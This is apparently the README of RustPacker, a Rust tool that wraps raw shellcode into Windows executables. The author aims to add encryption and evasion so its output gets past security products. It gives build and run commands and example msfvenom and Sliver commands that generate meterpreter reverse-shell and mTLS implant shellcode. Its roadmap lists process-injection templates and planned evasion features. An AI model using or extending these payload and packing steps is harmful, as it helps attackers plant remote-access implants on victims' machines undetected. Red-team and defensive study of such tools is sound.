Shellcode packer written in Rust.
Functional as it packs a binary file, but useless as I need to add evasion and encryption stuff before it can bypass anything.
If you have some experience with Rust, you're more than welcome to help ! You can help by:
- Review the code for mistakes / improvements
- Opening issues
- Contacting me on Discord for a more in depth review (nariod#4621)
Consider using Podman instead of Docker for security reasons. From any internet-connected OS with either Podman or Docker installed:
git clone https://github.com/Nariod/RustPacker.gitcd RustPacker/podman build -t rustpacker -f Dockerfile- Paste your shellcode file in the
sharedfolder podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.bin -i ct
For regular use, you can set an alias:
- On Linux host:
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker' - Then:
rustpacker -f shared/calc.bin -i ct
Install dependencies:
sudo apt update && sudo apt upgrade -ysudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
Install Rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | shsource $HOME/.cargo/envrustup target add x86_64-pc-windows-gnu
Run RustPacker:
git clone https://github.com/Nariod/RustPacker.gitcd RustPacker/cargo run -- -f shellcode.bin -i ct
RustPacker is compatible with any "raw" shellcode.
You can generate raw MSF shellcode using msfvenom's raw format. Ex:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.bin
You can generate raw Sliver shellcode using Sliver's "--format shellcode". Ex:
generate --mtls 127.0.0.1:443 --format shellcode --windows- Do not use Shikata Ga Nai (SGN) Sliver encoder if prompted. RustPacker templates do not use RWX memory regions, which are required for SGN to work.
- Port createThread Rust template
- Port createRemoteThread Rust template
- Debug binary file to Vec
- Debug compiler -> Done, FFS !
- Packer POC
- Migrate to "std::include_bytes"
- Add encryption / encoding
- Build dockerfile
- Strip output binaries
- Support the awesome evasions from https://github.com/memN0ps/mordor-rs
- Write detailed doc
- Rust discord
- StackOverflow
- https://github.com/postrequest/link
Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.